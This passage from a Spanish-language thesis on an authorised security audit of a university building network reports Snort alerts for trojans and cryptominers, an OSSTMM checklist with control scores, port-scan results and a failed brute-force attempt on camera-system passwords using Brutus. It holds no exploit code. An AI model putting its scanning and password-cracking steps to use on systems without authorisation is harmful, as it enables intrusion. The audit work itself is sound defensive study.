estudiantes al navegar por internet pueden dar paso a que estas amenazas se desarrollen. En el
anexo E se puede observar la cantidad de veces que se registraron las amenazas en el segundo

periodo.

3.1.1.2. Amenazas detectadas en la VLAN Docentes

Para el caso de la Vlan Docentes el analisis se hizo en un periodo; inicié el 17 de junio a las 8
AM y culminé el 17 de julio. El anélisis se realizé en un periodo debido a que la configuracion
para el acceso a la Vlan Docentes se realiz6 después gracias a la ayuda de la Direccién de
Tecnologias de la Informacién y Comunicacion de la ESPOCH. El procedimiento que se siguié

se menciono en el capitulo 2, se obtuvieron los siguientes resultados:

Tabla 7-3: Resumen de paquetes analizados por Snort en la Vlan Docentes

Periodo
Descripcion # de paquetes Porcentaje del total
Total paquetes recibidos 548884339 100%
Total paquetes analizados 545328509 99,35%
Total paquetes Drop 3555783 0,65%

Realizado por: Byron Barragan, 2020

En la tabla 7-3 se observa la cantidad de paquetes que recibié Snort, analizé el 99,35% tenido
un porcentaje de drop de paquetes de 0,65% para este periodo ya se tiene configurado la

longitud de cola predeterminada y se afiadieron mas reglas registradas de usuario Snort al
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archivo de configuracion es por esto por lo que el porcentaje de drop de paquetes es bajo
ademas de que la cantidad de tréfico que circula por esta Vlan es menor en comparacion a la
Vlan Estudiantes. La informacién detallada de este registro de paquetes se puede encontrar en el

anexo F.

La cantidad de paquetes TCP, UDP, TCP6, UDP6 y su porcentaje del total de paquetes

analizados se muestra en la tabla 8-3.

Tabla 8-3: Resumen de paguetes analizados de la capa de transporte en la VIan Docentes

Periodo
Descripcion # de paquetes Porcentaje del total
Total paquetes TCP 336657452 61,33%
Total paquetes UDP 139023595 25,33%
Total paquetes TCP6 5621 0,001%
Total paquetes UDP6 41051513 7,479%

Realizado por: Byron Barragan, 2020

La cantidad de alertas se registré todos los dias a las 9 Am, cabe indicar que las alertas de los
fines de semana se registraban los dias lunes, asi como también la cantidad de paquetes que se
analizaron, a diferencia de la Vlan Estudiantes la cantidad de alertas registradas es mucho
mayor sumando un total de 393106 alertas, esto es debido que una sola amenaza generaba
varias alertas indicando un ataque continuo que duraba alrededor de 4 horas en busca de puertos
abiertos y generando anuncios no deseados en la maquina victima. No hay variedad de
amenazas, pero si una gran cantidad de alertas. En la tabla 9-3 se presenta un resumen de las
alertas registradas por dia en este periodo. En el anexo G se encuentra esta informacion méas
detallada.

Tabla 9-3: Resumen de alertas diarias registradas en la VVlan Docentes
Semana 1l Semana 2 Semana 3 Semana 4 Semana 5

Fecha | Alertas | Fecha | Alertas | Fecha | Alertas | Fecha | Alertas | Fecha | Alertas

17/06 16 24/06 | 49839 | 01/07 08/07 97 15/07 0
18/06 25/06 425 02/07 159897 09/07 221 16/07 20
19/06 | 10926 | 26/06 0 03/07 10/07 | 47841 | 17/07 56
20/06 27/06 294 04/07 sode7 11/07 | 25746 -- --

21/06 540 28/06 147 05/07 309 12/07 265 -- --
Total | 11482 | Total | 50705 | Total | 256673 | Total | 74170 | Total 76

Realizado por: Byron Barragan, 2020
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Como se observa en la tabla 9-3 algunos dias estan unidos ya que durante esos dias las alertas
continuaban por lo que el andlisis no se detenia para su registro sino hasta que el ataque
terminara. Después de esto el analisis se detuvo ya que la ESPOCH entro en receso académico.

Las amenazas que se registraron se pueden encontrar también en la Vlan Estudiantes, en general
se registré presencia de malware, troyanos, archivos basura y ejecucion de scripts maliciosos.
Las direcciones IP que se registraron de las amenazas fueron las mismas solo variando el puerto
por el cual se conectaban, es decir los objetivos fueron computadoras infectadas con malware o
troyanos y cada vez que se encendia la computadora empezaba automéaticamente a ejecutarse
también debe indicarse que esta computadora puede ser una portatil propia del docente. Los dias
3y 4 de julio son los que mas alertas se registraron siendo un ataque que duro 2 dias. En la tabla
10-3 se muestra un resumen de todas las amenazas detectadas por Snort en el periodo con su
respectivo identificador de alerta de Snort. En el anexo H se muestra mas informacion sobre las

amenazas detectadas.

Tabla 10-3: Resumen de amenazas registradas en la VVlan Docentes
Identificador Significado

Troyanos que muestran anuncios
1-48118:1 | Troyano ITranslator no deseados sin utilizar o tener
acceso al navegador

Troyanos que muestran anuncios
1-48116:1 | Troyano ITranslator diferente version no deseados sin utilizar o tener
acceso al navegador

Es un archivo ejecutable que
forma parte
de BitcoinMiner desarrollado
1-46237:3 | Troyano Criptominero Miner64 por Ufasoft. Este evento se genera
cuando la muestra del minero se
ha descargado y ejecutado en la
PC infectada.

Este evento se genera cuando
XMRig intenta iniciar sesion en
una APl de grupo de mineria
jsonrpc.

Una version del malware troyano
Zeus. Este troyano es utilizado
para instalar el ransomware
CryptoLocker en una maquina
victima.

Intento de denegacién de servicio
utilizando internet Explorer
Este troyano es utilizado para

instalar el ransomware

1-45549:1 | Troyano Criptominero XMRig

Troyano Zbot o Zeus, indistintamente de su

1-35030:1 ”
version

1-32691:1 | Uso de script

1-35549:1 | Malware Troyano ZeuS
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CryptoLocker en una maquina
victima.

Realizado por: Byron Barragan, 2020

Se observa en la tabla 10-3 que las amenazas detectadas en esta Vlan son las mismas que la
Vlan estudiantes a excepcion de las amenazas 1-48118:1 y 1-48116:1 las cuales trabajan en
conjunto generando tréafico de anuncios no deseados en las computadoras, es precisamente estas
amenazas las que generaban un numero alto de alertas, la direccion IP que mostraba Snort para
esta alerta siempre fue la misma solo variando el puerto por lo que esta amenaza trata de
conectarse primero haciendo un escaneo de puertos revisando uno por uno, es por eso que la
duracidn de este ataque es de entre 1 a 4 horas aproximadamente. Fuera de estas amenazas se
tiene que mencionar que se suma la actividad de los troyanos criptomineros como Miner64,
XMRIig, ZeuS y el intento de ataque de denegacion de servicios a internet Explorer 9. Siendo las
amenazas 1-35030:1 y 1-35549:1 las mas registradas.

3.1.1.3. Amenazas detectadas en la VLAN Administrativos

Para el caso de la Vlan Docentes el andlisis se hizo en un periodo; inicié el 17 de junio a las 8
AM y culming el 17 de julio. El anlisis se realiz6 en un periodo debido a que la configuracion
para el acceso a la Vlan Administrativos se realizd después gracias a la ayuda de la Direccion de
Tecnologias de la Informacién y Comunicacion de la ESPOCH. El procedimiento que se siguid

se menciono en el capitulo 2; se obtuvieron los siguientes resultados:

Tabla 11-3: Resumen de paquetes analizados por Snort en la VIan Administrativos

Periodo
Descripcion # de paquetes Porcentaje del total
Total paquetes recibidos 389006844 100%
Total paquetes analizados 386385688 99,33%
Total paquetes Drop 2620083 0,67%

Realizado por: Byron Barragén, 2020

En la tabla 11-3 se observa la cantidad de paquetes que recibié Snort, analiz6 el 99,33% tenido
un porcentaje de drop de paquetes de 0,67% para este periodo ya se tiene configurado la
longitud de cola predeterminada y se afiadieron mas reglas registradas de usuario Snort al
archivo de configuracion es por esto que el porcentaje de drop de paquetes es bajo ademas de
que la cantidad de tr&fico que circula por esta Vlan es menor en comparacion a la Vlan
Estudiantes y Docentes. La informacion detallada de este registro de paquetes se puede

encontrar en el anexo I.
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La cantidad de paquetes TCP, UDP, TCP6, UDP6 y su porcentaje del total de paquetes
analizados se muestra en la tabla 12-3.

Tabla 12-3 Resumen de paquetes analizados de la capa de transporte en la Vlan
Administrativos

Periodo
Descripcion # de paquetes Porcentaje del total
Total paquetes TCP 265381232 68,22%
Total paquetes UDP 72901268 18,74%
Total paquetes TCP6 7 0%
Total paquetes UDP6 5783579 1,49%

Realizado por: Byron Barragan, 2020

Como resultado en la Vlan Administrativos se registrd 1 alerta el 8 de julio de 2019, esta alerta
se generd cuando un atacante intentd explotar una vulnerabilidad de confusion de tipos en
Microsoft Edge o CVE-2018-8298. La Vlan administrativos es la que menos alertas, amenazas

y tréfico tiene. El andlisis se detuvo porque la ESPOCH entro en receso académico.

3.1.2. Resultados de la adaptacién de la metodologia OSSTMM para el canal humano en el
edificio de la FIE-ESPOCH

Después de adaptar la metodologia para su aplicacién en el edificio de la FIE-ESPOCH se pone
en marcha la fase de induccién con una entrevista a la Direccion de Tecnologias de la

Informacion y Comunicacion de la ESPOCH obteniéndose los siguientes resultados.

3.1.2.1. Resultados de la fase de induccion aplicada al canal Humano de la FIE-ESPOCH.

En la fase de induccion el propdsito es obtener informacion referente a politicas de seguridad,
cultura, procedimientos que se realizan o0 normas que se aplican todo referente a la seguridad.

Para esta fase se realizé lo siguiente:

e Revision de forma general la situacion del edificio de la ESPOCH en cuanto a politicas de
seguridad, cultura, procedimientos y normas que se aplican.

e Revision algunos detalles pertenecientes al canal humano como horarios y formas de
administracion de los activos pertenecientes al edificio.

e  Uso de una lista de verificacion de seguridad para determinar la existencia de controles en

caso de ciertos ataques a la seguridad informatica.
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A continuacion, se muestra la lista de verificacion de seguridad que se utilizd en la fase de

induccion.

Tabla 13-3: Lista de verificacién de la seguridad informatica aplicada en la ESPOCH

Seguridad de los Datos

Cumple Riesgo
Indicador Aspecto a Evaluar
SI1 | NO | Bajo | Medio | Alto
La organizacion tiene definidas politicas de
! seguridad informaética. X X
Las politicas de seguridad informética son revisadas
2 periodicamente. X X
3 Se dispone de un inventario de activos tecnoldgicos | x X
Se monitoriza y registra la actualizacion, instalacion
) de software en equipos. X X
Se tiene definido perfiles de usuario para evitar la
5 instalacion de cualquier tipo de software en los pc| X X
de usuarios finales.
Dispone implementado listas de control de acceso
6 (ACL) X X
Se tiene software antivirus licenciado instalado en
7 cada uno de los computadores que cuenta el X X
edificio.
Se tiene instalado antimalware en los equipos del
° edificio. X X
Se dispone de repositorios externos para
? salvaguardar backups y datos relevantes. X X
Seguridad de la Infraestructura y Servicios
Cumple Riesgo
Indicador Aspecto a Evaluar
SI1 | NO | Bajo | Medio | Alto
11 Se dispone de Firewall. X X
Se han definido perimetros de seguridad (DMZ) en
12 la intranet para equipos con informacion valiosa o| X X
sistemas sensibles.
Se dispone implementado un sistema de proteccion
B anti DDoS. X X
14 Dispone de redundancia de hardware. X X
15 Dispone de redundancia de software. X X
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16 Dispone de redundancia en el software del firewall. | x X

17 La organizacion cuenta con procesos para brindar
X X
mantenimiento preventivo al software.

18 La organizacién cuenta con procesos para brindar
X X
mantenimiento preventivo de hardware.

19 Dispone de contratos externos de soporte. X X
20 Dispone de UPS en cada estacion de trabajo. X X

Las instalaciones eléctricas cuentan con bajada a
21 ] X X

tierra.

Controles de Acceso

) Cumple Riesgo
Indicador Aspecto a Evaluar

SI1 | NO | Bajo | Medio | Alto

- Se ha definido e implementado un proceso para la
X X
creacion de usuarios y contrasefias.

Se ha definido un proceso de altas y bajas de
23 ] X X
usuario.

Se dispone de controles de acceso l6gico a los
24 servicios criticos de T.I que dispone la| x X

organizacion.

- Se monitoriza y registra la actividad de accesos
X X
I6gicos en los equipos criticos que dispone.

En los equipos de los usuarios finales dispone de
26 dos cuentas de inicio de una como administrador y X X

otra como usuario normal.

Se dispone de controles de acceso fisico al Data
27 L X X
Center de la organizacion.

- Se monitoriza y registra la actividad de accesos
X X
fisicos al Data Center de la organizacion.

29 Se monitoriza y autentica las conexiones a la red
X X
inaldmbrica de la organizacion.

Planes de Respaldo

Cumple Riesgo

Indicador Aspecto a Evaluar _ i
SI | NO | Bajo | Medio | Alto

Se tiene establecido politicas de backup en caso de
30 X X
desastres.

31 Se ha documentado e implementado un proceso X X
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para gestion de incidentes de seguridad informatica.
Se ha definido planes de continuidad y de respaldos
. de informacion critica. X X
Dispone la organizacion de respaldos de energia
- eléctrica en caso de fallas. X X
Dispone de cuartos de acometidas para los servicios
. provistos por proveedores externos. X X
Habitos Seguros y Preparacion
Cumple Riesgo
Indicador Aspecto a Evaluar
SI | NO | Bajo | Medio | Alto
Cuenta con politicas de seguridad de los equipos
% respecto al consumo de alimentos y bebidas. X X
Cuenta con planes de capacitacion al personal sobre
3 seguridad informética X X
37 Se dispone de un plan manejo seguro de datos y y
criticos.
28 Se destruyen discos duros catalogados como < <
dafiados.
El personal se conduce y aplica habitos seguros de
. manejo de la informacion. X X
En general, la actitud hacia la aplicacion de normas
0 de seguridad es positiva. X X

Fuente: (Gordon Revelo & Pacheco Villamar, 2018, pp. 7-8)
Realizado por: Byron Barragén, 2020

La tabla 13-3 fue adaptada a las actividades que se realizan en el edificio de la FIE-ESPOCH,

fue tomada de un proyecto realizado y publicado por Diego Gordon y Rubén Pacheco en la

revista Electronica de Computacion, Informatica, Biomédica y Electronica “ReCIBE”. La

informacién presentada en esta tabla fue proporcionada por el personal encargado de los

equipos y laboratorios del edificio y también por la Direccion de Tecnologias de la Informacion
y Comunicacion de la ESPOCH.

En esta tabla se puede observar que en el edificio y en si en la institucion si tienen definidas

politicas de seguridad informética las cuales son revisadas periodicamente o cuando se presente

un incidente. Cuenta con un firewall en el cual se controla ciertos tipos de ataques entre ellos el

mencionado de denegacion de servicio, este firewall cuenta con redundancia a nivel de

hardware, sin embargo, la redundancia a nivel de software es solo en el firewall mas no en
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servidores. Se ha definido un perimetro de seguridad (DMZ) por secciones, pero no se ha hecho
ninguna documentacion acerca de ello. Procesos como la creacion de usuarios y contrasefias si
estan implementados sin embargo un proceso de baja de usuarios no. Los datos criticos de cada
servicio tienen un respaldo el cual se maneja de forma manual. Los discos duros catalogados
como dafiados son reingresados a bodega en donde se determinaré si se destruye o no, este
proceso es encargado a control de bienes de la institucion. Con lo que respecta a seguridad no
hay planes de capacitacion a los empleados por parte de la institucion, pero si hay planes de
capacitacion por parte del proveedor de servicio. En forma general las politicas aun estan en
desarrollo ya que se estdn definiendo nuevos procesos de los cuales se definirdn nuevas

politicas.

Por otro lado, los controles en el edificio por parte de los encargados de los equipos y
laboratorios estan completamente definidos sobre todo el acceso al cuarto de
telecomunicaciones y las acciones que se deben realizar para reservar un laboratorio o la
utilizacién de un equipo, mas adelante en la fase de interaccion se contabilizara estos procesos
para el célculo de la porosidad. Los activos del edificio son laboratorios informaticos, equipos
de oficina, equipos utilizados para practicas de los estudiantes. El idioma que se maneja es
espafiol y la zona horaria es GTM-5.

3.1.2.2. Resultados de la fase de interaccién aplicada al canal Humano de la FIE-ESPOCH.

Para esta fase se realizé de igual manera que en la fase anterior una entrevista, pero esta vez a
los encargados de los equipos y laboratorios del edificio de la FIE-ESPOCH, en la tabla 14-3 se
observan los resultados mostrando un valor numérico, sin embargo, no se especifica la razon de
este valor por concepto de seguridad. Estas tablas fueron tomadas y adaptadas de un trabajo de
auditoria a la seguridad de una empresa publicado por la revista cientifica de la universidad de
Cuenca “Maskana”.

Tabla 14-3: Calculo de la Porosidad en el canal humano
Seguridad Operacional (Porosidad)
item Prueba Total
Conteo de departamentos o areas del edificio de la FIE-ESPOCH

Auditoriade | que estan autorizados previa identificacion a realizar interacciones 4
la Visibilidad o ) .
con el cuarto de telecomunicaciones y demas activos.

e Conteo de escenarios donde puede ocurrir una interaccion sin que
Verificacion
de Acceso se necesite una autorizacion.

e o Conteo de los procesos de acceso de los estudiantes, docentes y
Verificacion
de Confianza | administrativos a la informacion o a los activos fisicos.

Fuente: (Bracho Ortega et al., 2017, p. 314)
Realizado por: Byron Barragan, 2020

80



El siguiente paso es el célculo de los controles, estos son formas que se establecen en una
instituciéon en este caso lo que se contabiliza son que controles existen para el acceso a los
activos del edificio. Algunos de estos controles de clase A se encuentran previstos en otras
fases, sin embargo, para el célculo de los controles se los ubica en esta seccion, pero se los
realiz6 segun el orden establecido en la adaptacién de la metodologia.

Tabla 15-3: Calculo de los controles clase A en el canal humano
Controles de Interaccion Clase A

item Prueba Total

Conteo los métodos por los cuales se puede interactuar con el

Autenticacion personal de recepcion o encargado. 3
Conteo de los documentos legales a los que deben someterse los
Indemnizacién | estudiantes, docentes o administrativos del edificio de la FIE- 3
ESPOCH para la utilizacion de ciertos activos o informacion.
Conteo del personal encargado que permiten acceder sin
Resistencia 0

autorizacion a los activos del cuarto de telecomunicaciones.

Conteo los activos que pueden ser comunicados a través de
Subyugacion | canales en los cuales los controles no son necesarios, pueden ser | g

eludidos o ignorados

Conteo del total de encargados que genera conflictos en cuanto a

Continuidad | < ¢ 4o acceso. 0

Fuente: (Bracho Ortega et al., 2017, p. 315)
Realizado por: Byron Barragan, 2020

Tabla 16-3: Calculo de los controles clase B en el canal humano

Controles de Interaccion Clase B
item Prueba Total
Conteo de quiénes del personal encargado identifican y registran

No-Repudio adecuadamente el acceso o las interacciones con los activos del | 3
edifico de la FIE-ESPOCH.

Conteo de los segmentos de comunicacion con los encargados

Confidencialidad dentro del alcance que son eficientes. 3

Privacidad Conteo de los métodos eficientes para asegurar este control. 1

Conteo de los métodos eficientes aplicados en el edificio de FIE-
ESPOCH para proteger y asegurar que la informacion de los
Integridad activos fisicos no pueda ser cambiada, conmutada, redirigida o | 1
invertida sin que las partes involucradas tengan conocimiento de

ello.

Alarma Conteo de sistemas de advertencia o sistemas de alarma en todo | 1
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el alcance.

Fuente: (Bracho Ortega et al., 2017, p. 315)
Realizado por: Byron Barragan, 2020

3.1.2.3. Resultados de la fase de investigacion aplicada al canal Humano de la FIE-ESPOCH.

El célculo de las limitaciones se realiz6 en esta fase. En la tabla 17-3 representa las limitaciones,
en este punto se debe indicar que el sector de los administrativos y docentes no es controlado
por lo que supone un factor de riesgo alto. En la fase de induccion se encontr6 que no se realiza
cursos de capacitacion sobre la seguridad al personal por parte de la institucion, pero si se
realiza capacitacién por parte del proveedor de servicios. El edificio cuenta con una instalacion
de cadmaras de seguridad en los laboratorios donde se encuentran los activos, sin embargo, no

estan instaladas en las aulas de clase, en las oficinas ni en la sala de profesores.

Como se mencioné en la adaptacion de la metodologia se provee a los estudiantes los
instaladores del software utilizado para las diferentes asignaturas, estos archivos cuentan con las
instrucciones de instalacién para su correcto uso. Una vez entregado los archivos no se controla
lo que el estudiante realice con ellos. En el punto de revision de segregacion se mencionan las

limitaciones, en la tabla 17-3 se puede ver lo que se realiz6 para este calculo.

Tabla 17-3: Calculo de las limitaciones en el canal humano
Limitaciones

item Prueba Total

Conteo de las fallas o errores por las cuales una persona 0 proceso

Vulnerabilidad puede ganar o denegar el acceso a los demas. 2
Conteo de las posibles fallas o errores que pueden presentarse en

Debilidad los controles de Clase A. 1
Conteo de las posibles fallas o errores que pueden presentarse en

Preocupacion los controles de Clase B. 1
Conteo de las acciones injustificadas, fallas o errores que

Exposicion 2

proporcionen una visibilidad directa o indirecta de los activos.

Conteo de los elementos desconocidos que no pueden tomarse en
Anomalias | cuenta en las operaciones normales en la red del edificio de la | -
FIE-ESPOCH.

Fuente: (Bracho Ortega et al., 2017, p. 315)
Realizado por: Byron Barragan, 2020
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3.1.2.4. Resultados de la fase de intervencion aplicada al canal Humano de la FIE-ESPOCH.

En esta fase se presenta el estado actual de la seguridad operacional aplicado en el canal
humano del edificio de la FIE-ESPOCH. Como se indico anteriormente todos estos valores son
ingresados en la hoja de céalculo que proporciona ISECOM en su sitio oficial dando como
resultado el estado de la seguridad representando en un Rav. Existen dos expresiones que
permiten realizar una interpretacion de los valores obtenidos en la seguridad actual del canal
auditado, la primera es Seguridad A como se muestra en el gréafico 1-3, marcada de color rojo,
gue no es nada mas que el equilibrio que existe entre los valores numéricos de la porosidad, los
controles y las limitaciones. Por lo tanto, dependiendo del signo que éste posea: positivo (+) o
negativo (-), se pueden considerar los siguientes aspectos: un delta positivo muestra lo mucho
gue se gasta en controles o, incluso, si el exceso de gasto es demasiado en un tipo de control; un
delta negativo muestra una falta de controles o que se controlan a si mismos con limitaciones
gue no pueden proteger adecuadamente al objetivo. (Bracho Ortega et al., 2017, p. 317). En base a lo
anterior y observando el grafico 1-3 se determiné que la seguridad del canal humano es de 85.77
Rav indicando que hace falta controles ademas de que existen ciertas limitaciones al momento
de proporcionar seguridad. El delta negativo (-13.92) indica el nivel de brechas de seguridad las
cuales pueden ser aprovechadas por un atacante insider.

Aftack Surface Sec urity Metrics

== _ ISECOM

Actual Security: 85,7445 ravs

Grafico 1-3: Resultado del calculo del canal humano en el

edifico de la FIE-ESPOCH.
Realizado por: Byron Barragan, 2020

83



3.1.3. Resultados de la adaptacion de la metodologia OSSTMM para el canal de red de
datos en el edificio de la FIE-ESPOCH.

Como se menciono en la fase de induccion del canal humano, los resultados obtenidos aplican
también para la fase de induccion del canal de red de datos ya que la lista de verificacion de la
seguridad utilizada abarca éreas de los dos canales por lo que no se repite los resultados en esta

seccion.

3.1.3.1. Resultados de la fase de interaccion aplicada al canal de Red de Datos de la FIE-
ESPOCH.

Auditoria de la visibilidad
Encuesta de red:

e Red en el edificio de la FIE-ESPOCH

Existe 3 segmentos en la red del edificio de la FIE-ESPOCH, estas ya se mencionaron
anteriormente: Estudiantes, Docentes y Administrativos.

Estudiantes: 172.25.2xx.xxx/23

Docentes: 172.25.2xXX.Xxx/24

Administrativos: 172.25.2xXX.xxx/24

e Identificacion de protocolos emanantes de la red del edifico de la FIE-ESPOCH
Utilizando Wireshark se analizd trafico en las tres Vlans como resultado se registr6 los

siguientes protocolos mostrado en la tabla 18-3

Tabla 18-3: Compilacién de protocolos emanantes en las 3 Vlans
IPV4 DNS ICMP UDP6
TCP Bootstrap Protocol EIGRP RIPng
RTCP HTTPS ARP DHCP6
ssL NetBIOS E_)atagram Logical-Link ICMP6
Service Control
HTTP SMB STP DHCP
uDP SMB Mailslot IPV6 SNMP
Protocol
NetBIOS Name service Microsoft Windows TCPS Session initation
Browser Protocol Protocol

Realizado por: Byron Barragan, 2020
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o Ping broadcast a todos los objetivos.
Se realiz6 un ping broadcast a todos los equipos activos en las tres Vlans, sin embargo, no un
hubo respuesta en ninguno de los casos, el Unico que contesto fue la puerta de enlace

predeterminada.

. Protocolos de enrutamiento en el alcance.

Se registraron dos protocolos de enrutamiento: EIGRP Y RIPng.

o Verifique las respuestas de ICMP de todos los objetivos.

Las respuestas de paquetes ICMP hacia todos los objetivos activos se registr6 en el anexo J.
Este proceso se realizd en un dia en el que presentaba mayor nimero de computadoras activas
durante las 10 AM Y 3 PM.

o Rastree la ruta los paquetes TCP a todos los destinos para los puertos SSH, SMTP,
HTTPy HTTPS.

Todos los objetivos pertenecen a la misma Vlan en el edificio por lo que un rastreo solo muestra
como ruta la direccién de la puerta de enlace per determinada. Las herramientas utilizadas fue
TCPing y TCProute. Los puertos 22 (SSH), 80 (HTTP) Y 443 (HTTPS) no estan abiertos en
todos los objetivos por lo que la comunicacién por este puerto no se puede dar, sin embargo, en
los objetivos que si estan abiertos estos puertos la comunicacion fue exitosa. Por otro lado, el

puerto 25 (SMTP) no se encuentra abierto en ningln objetivo, la comunicacion no fue exitosa.

o Rastree la ruta de los paquetes UDP a todos los destinos para los puertos DNS y SNMP.
De igual manera que lo descrito anteriormente el puerto 53 (DNS) no se encuentra abierto en
todos los objetivos, sin embargo, en los objetivos que si encuentra abierto este puerto la
comunicacion fue exitosa, concretamente solo en 5 equipos se encontro este puerto abierto. Por
otro lado, el puerto 161 (SNMP) no esta abierto en ningln objetivo. Las herramientas utilizadas
fue TCPing y TCProute.

Enumeracioén:

o Verifique las respuestas de las solicitudes de paquetes UDP a diferentes puertos.

Se utilizé las herramientas TCPing Y TCProute, se tratd comunicar con los puertos UDP: 23,
53, 214, 1701 siendo estos puertos los mas comunes en los sistemas, sin embargo, no se
encuentra abiertos a excepcion del puerto 53 en algunos objetivos, solo en este puerto la

respuesta fue exitosa.
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o Verifique las respuestas de solicitud de servicio a los puertos de malware conocidos 0
creados.

En la fase de explotacion se utilizé6 malware para consumir recursos de la computadora victima,
los resultados se presentaran mas adelante, cabe indicar que este proceso en el ambiente real no
se pudo realizar ya que existe el riesgo de infectar a toda la red por lo que se decidid realizar

esto en un ambiente virtual controlado, para evitar dafios en al ambiente real.

o Verifique las respuestas de las solicitudes de paguetes TCP a diferentes puertos.

Realizando una auditoria de puertos abiertos en los objetivos se pudo determinar los principales
puertos abiertos en la mayoria de los objetivos, utilizando la herramienta TCPing y TCProute se
comprobd que la comunicacion y las respuestas fueron exitosas, algunos de los puertos puestos
a prueba son: 554, 8080 9090 (posible puerto usado en malware) y puertos altos generalmente

utilizados por malware.

Verificacion de acceso

Red:

o Manipular el servicio de red y el enrutamiento para acceder a restricciones pasadas
dentro del alcance. (Test de alcance)

No se puede manipular el enrutamiento ya que esto se encarga Direccion de Tecnologias de la

Informacion y Comunicacion de la ESPOCH y no se tiene acceso.

o Solicite servicios de troyanos comunes y conocidos que utilizan UDP, TCP o ICMP
para las conexiones.
De igual manera gue en enumeracion, esto se realizdé en un ambiente virtual controlado por el

riego de infectar a toda la red, los resultados se presentaran mas adelante.

Servicios:

o Escaneo de puertos (descubrir puertos abiertos)

Los puertos abiertos mas comunes en los objetivos: 22, 80, 443, 445, 111, 8080, 9090, 49152 —
49165. En el anexo P se muestra algunos objetivos auditados, se debe indicar que estos
objetivos no representan mucho riesgo, la informacion de los puertos abiertos encontrados en

objetivos con informacidn confidencial se reserva.
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Autenticacion:

o Enumere los accesos que requieren autenticacion y documente todos los privilegios
descubiertos que se pueden usar para proporcionar acceso.

En la tabla 19-3 se presenta el valor numérico de este conteo, por razones de seguridad no se

puede especificar a que pertenece este valor.

o Verifique la solidez de la autenticacion a través de descifrar las contrasefias.

Los equipos utilizados en el edificio no cuentan con contrasefia sin embargo estas computadoras
estan en estado congelado, es decir, cualquier cambio, programa o informacion que se maneje
durante este encendida al apagarse se elimina y regresa al estado en el que fue congelada. Las
contrasefias que se trataron de descifrar fueron las del sistema de monitorizacion de camaras
instaladas utilizando la herramienta para descifrar contrasefias Brutus, no se tuvo éxito. Las

contrasefias son robustas.

Verificacion de confianza

Abuso de recursos:

o Comprobar cémo se utilizan los recursos o activos de red.

Los recursos con lo que cuenta el edificio de la FIE-ESPOCH son utilizados por los estudiantes,
docentes y administrativos, por parte de los estudiantes y docentes los recursos gque usan son los
laboratorios con los equipos presentes en estos y ademas otros necesarios para el desarrollo de
sus tareas y clases, estos equipos son pedidos con anterioridad a los técnicos encargados de los
mismos, los docentes y administrativos utilizan una computadora instalada en su lugar de

trabajo con acceso a internet.

Tabla 19-3: Calculo de la Porosidad en el canal de red de datos
Seguridad Operacional (Porosidad)

item Prueba Total
Auditoria de | |dentifique el perimetro del (los) segmento (s) de la red.
la Visibilidad queetp (los) segmento (<) 3

e o Conteo de los métodos de acceso y revise todos los privilegios
Verificacion
de Acceso descubiertos que se pueden usar para proporcionar acceso.

o Las medidas para acceder a la propiedad dentro del alcance
Verificacion ] » L
de la mediante la suplantacion de su direccion de red como uno de los 0
Confianza | hosts de confianza.

Realizado por: Byron Barragan, 2020
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Verificacion de controles

En la tabla 20- 3 se muestra los controles de interaccion Clase B, al igual se muestra un valor

numeérico y no se especifica a que pertenece cada valor por razones de seguridad.

Tabla 20-3: Calculo de los controles clase B en el canal de red de datos

Controles de Interaccion Clase B

item

Prueba

Total

No-Repudio

Conteo del uso o las deficiencias de los sistemas para identificar
adecuadamente y registrar el acceso. Métodos de identificacion

que derrotan el repudio.

Confidencialidad

Conteo de los métodos aceptables utilizados para la
confidencialidad.

Privacidad

Conteo de los servicios dentro del alcance de las

comunicaciones, privacidad de la interaccion

Integridad

Conteo de las deficiencias de integridad cuando utilice un
proceso documentado, firmas, cifrado, hash o marcas para
garantizar que el activo no se pueda cambiar, redirigir o revertir

sin que las partes involucradas lo conozcan.

Alarma

Enumeracion del uso de un sistema de advertencia, registro o
mensaje donde el personal detecte una situacion sospechosa por
sospecha de intentos de elusion, ingenieria social o actividad

fraudulenta.

Realizado por: Byron Barragan, 2020

3.1.3.2. Resultados de la fase de investigacion aplicada al canal de Red de Datos de la FIE-

ESPOCH.

A diferencia de del canal humano, en el canal de red de datos los controles de clase A se

calculan en la fase de investigacion, en la tabla 21-3 se muestra un valor numérico de esto

controles.

Tabla 21-3: Calculo de los controles clase A en el canal de red datos.

Controles de Interacciéon Clase A

abuso o0 estan asegurados por robo o dafios, o0 usan

item Prueba Total
Conteo de los accesos que requieren autenticacion con todos los
Autenticacion | Privilegios descubiertos que se pueden usar para proporcionar 4
acceso.
Coteo de los objetivos y servicios que estan protegidos contra el
Indemnizacion 230
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responsabilidad y exenciones de responsabilidad de permisos.

Los puntos unicos de falla en la infraestructura donde el cambio o

Resistencia 11

la falla pueden causar una interrupcion del servicio.

Conteo de los servicios en los cuales los controles no son

ion . . .
Subyugacio necesarios, pueden ser eludidos o ignorados

Conteo de las deficiencias de todos los objetivos con respecto a
Continuidad | 10s retrasos de acceso y los tiempos de respuesta del servicio a | 17

través de sistemas de respaldo o el cambio a canales alternativos.

Realizado por: Byron Barragan, 2020

En la fase de investigacion también se determina las limitaciones, las cuales se presentan en la
tabla 22-3.

Tabla 22-3: Célculo de las limitaciones de la canal de red de datos

Limitaciones
item Prueba Total
Identifique si alguna wvulnerabilidad conocida reside en los
Vulnerabilidad 1082

sistemas. (Uso de Nexpose)

Contabilizar las posibles fallas o errores que pueden presentarse

Debilidad en los controles de Clase A. 5
Contabilizar las posibles fallas o errores que pueden presentarse

Preocupacion en los controles de Clase B. >
Enumere las exposiciones del sistema, servicio y aplicacion que
detallan el disefio, tipo, version o estado de los objetivos o de

Exposicion 0

recursos fuera del alcance, como por ejemplo de publicaciones o

fugas.

Contabilizar los elementos desconocidos que no pueden tomarse
Anomalias | en cuenta en las operaciones normales en la red del edificiode la | o
FIE-ESPOCH.

Realizado por: Byron Barragan, 2020

Vulnerabilidad fue realizado por Nexpose, con la ayuda de este escaner de vulnerabilidades se
pudo definir todas las vulnerabilidades que se encuentran en los sistemas del edificio de la FIE-

ESPOCH. Mas adelante se detallara este resultado.

Verificacion de la configuracion
Mapa de Limitaciones

o Compruebe si hay servicios / funciones innecesarios o no utilizados disponibles.
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El servicio de alarma contra incendios esta actualmente desactivado, fuera de este servicio los
demas estan operativos en el edificio. En cuanto a equipos existen algunos equipos a la espera
del proceso de dada de baja por la unidad de control de bienes mientras tanto se encuentran
guardados.

o Compruebe las credenciales por defecto.

Las credenciales por defecto no estan configuradas, todas fueron cambiadas.

Validacién de la propiedad

Mercado negro

° Todos los programas utilizados en los laboratorios son distribuidos a los estudiantes
